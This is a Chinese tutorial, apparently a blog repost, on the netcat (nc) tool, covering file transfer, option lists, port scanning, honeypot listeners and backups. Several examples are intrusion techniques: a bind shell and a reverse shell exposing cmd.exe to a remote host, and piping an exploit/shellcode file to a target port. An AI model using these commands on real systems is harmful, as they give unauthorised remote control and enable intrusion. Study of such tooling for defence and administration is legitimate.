zoukankan      html  css  js  c++  java
  • linux下nc的使用

    发送端:
    cat test.txt | nc -l -p 6666
    或者nc -l  -p 6666 < test.txt                    有些版本不要在 -p
    【监听6666端口,等待连接】(设发送端IP为10.20.133.152)
    接收端:
    nc 10.20.133.152 6666 > test1.txt
    如上面的操作,即可将文件test.txt从发送端传送到接收端,保存为test1.txt

    想要连接到某处: nc [-options] hostname port[s] [ports] ...
    绑定端口等待连接: nc -l -p port [-options] [hostname] [port]

    语  法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文 件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端 口...]
    补充说明:执行本指令可设置路由器的相关参数。
    参  数:
    -g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
    -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
    -h 在线帮助。
    -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
    -l 使用监听模式,管控传入的资料。
    -n 直接使用IP地址,而不通过域名服务器。
    -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
    -p<通信端口> 设置本地主机使用的通信端口。
    -r 乱数指定本地与远端主机的通信端口。
    -s<来源位址> 设置本地主机送出数据包的IP地址。
    -u 使用UDP传输协议。
    -v 显示指令执行过程。
    -w<超时秒数> 设置等待连线的时间。
    -z 使用0输入/输出模式,只在扫描通信端口时使用。

    另外,nc命令也可用于端口扫描:
    nc -v -z -w2 10.20.133.152 1-14000
    可以扫描10.20.133.152主机上的1~14000号TCP端口;

    nc -u -v -z -w2 10.20.133.152 1-14000
    可以扫描10.20.133.152主机上的1~14000号UDP端口。


    nc是一款很不错的网络检测工具,以下是详细使用。
    'nc.exe -h'即可看到各参数的使用方法。
    基本格式:nc [-options] hostname port [ports] ...
       nc -l -p port [options] [hostname] [port]
    -d 后台模式
    -e prog 程序重定向,一旦连接,就执行 [危险!!]
    -g gateway source-routing hop point, up to 8
    -G num source-routing pointer: 4, 8, 12, ...
    -h 帮助信息
    -i secs 延时的间隔
    -l 监听模式,用于入站连接
    -L 连接关闭后,仍然继续监听
    -n 指定数字的IP地址,不能用hostname
    -o file 记录16进制的传输
    -p port 本地端口号
    -r 随机本地及远程端口
    -s addr 本地源地址
    -t 使用TELNET交互方式
    -u UDP模式
    -v 详细输出--用两个-v可得到更详细的内容
    -w secs timeout的时间
    -z 将输入输出关掉--用于扫描时
    端口的表示方法可写为M-N的范围格式。
    1)连接到远程主机
    格式:nc -nvv 192.168.x.x 80
    讲解:连到192.168.x.x的TCP80端口
    2)监听本地主机
    格式:nc -l -p 80
    讲解:监听本机的TCP80端口
    3)扫描远程主机
    格式:nc -nvv -w2 -z 192.168.x.x 80-445
    讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
    4)REMOTE主机绑定SHELL,例子:
    格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
    讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
    5)REMOTE主机绑定SHELL并反向连接,例子:
    格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
    讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
    以上为最基本的几种用法(其实NC的用法还有很多,
    当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。
    6)作攻击程序用,例子:
    格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
    格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt
    讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:exploit.txt'的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)
    附:'c:exploit.txt'为shellcode等
    7)作蜜罐用[1],例子:
    格式:nc -L -p 80
    讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止
    8)作蜜罐用[2],例子:
    格式:nc -L -p 80 > c:log.txt
    讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:log.txt'中,如果把‘>'
      改为‘>>'即可以追加日志
    附:'c:log.txt'为日志等
    9)作蜜罐用[3],例子:
    格式1:nc -L -p 80 < c:honeypot.txt
    格式2:type.exe c:honeypot.txt|nc -L -p 80
    讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:honeypot.txt'的内容‘送'入其管道中!
    10)备份档案
    A机的资料夹 /data备份到B主机的backup.tgz
    源主机: tar czf - work|nc -l -c -p 1234
    目的主机: nc 192.168.0.1 1234 >a.tgz

    A:tar -zcf data|nc -l -p 4444
    B:nc a 4444 >backup.tgz
    传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完

  • 相关阅读:
    第二类斯特林数学习笔记
    [ZJOI2017]树状数组
    「LibreOJ Round #6」花火
    [Ynoi2016]这是我自己的发明 莫队
    codeforces706E
    扩展CRT
    PKUSC2018游记
    「PKUWC 2018」Minimax
    「SHOI2015」(LOJ2038)超能粒子炮・改
    Codeforces712E
  • 原文地址:https://www.cnblogs.com/xiaoleiel/p/8340517.html
Copyright © 2011-2022 走看看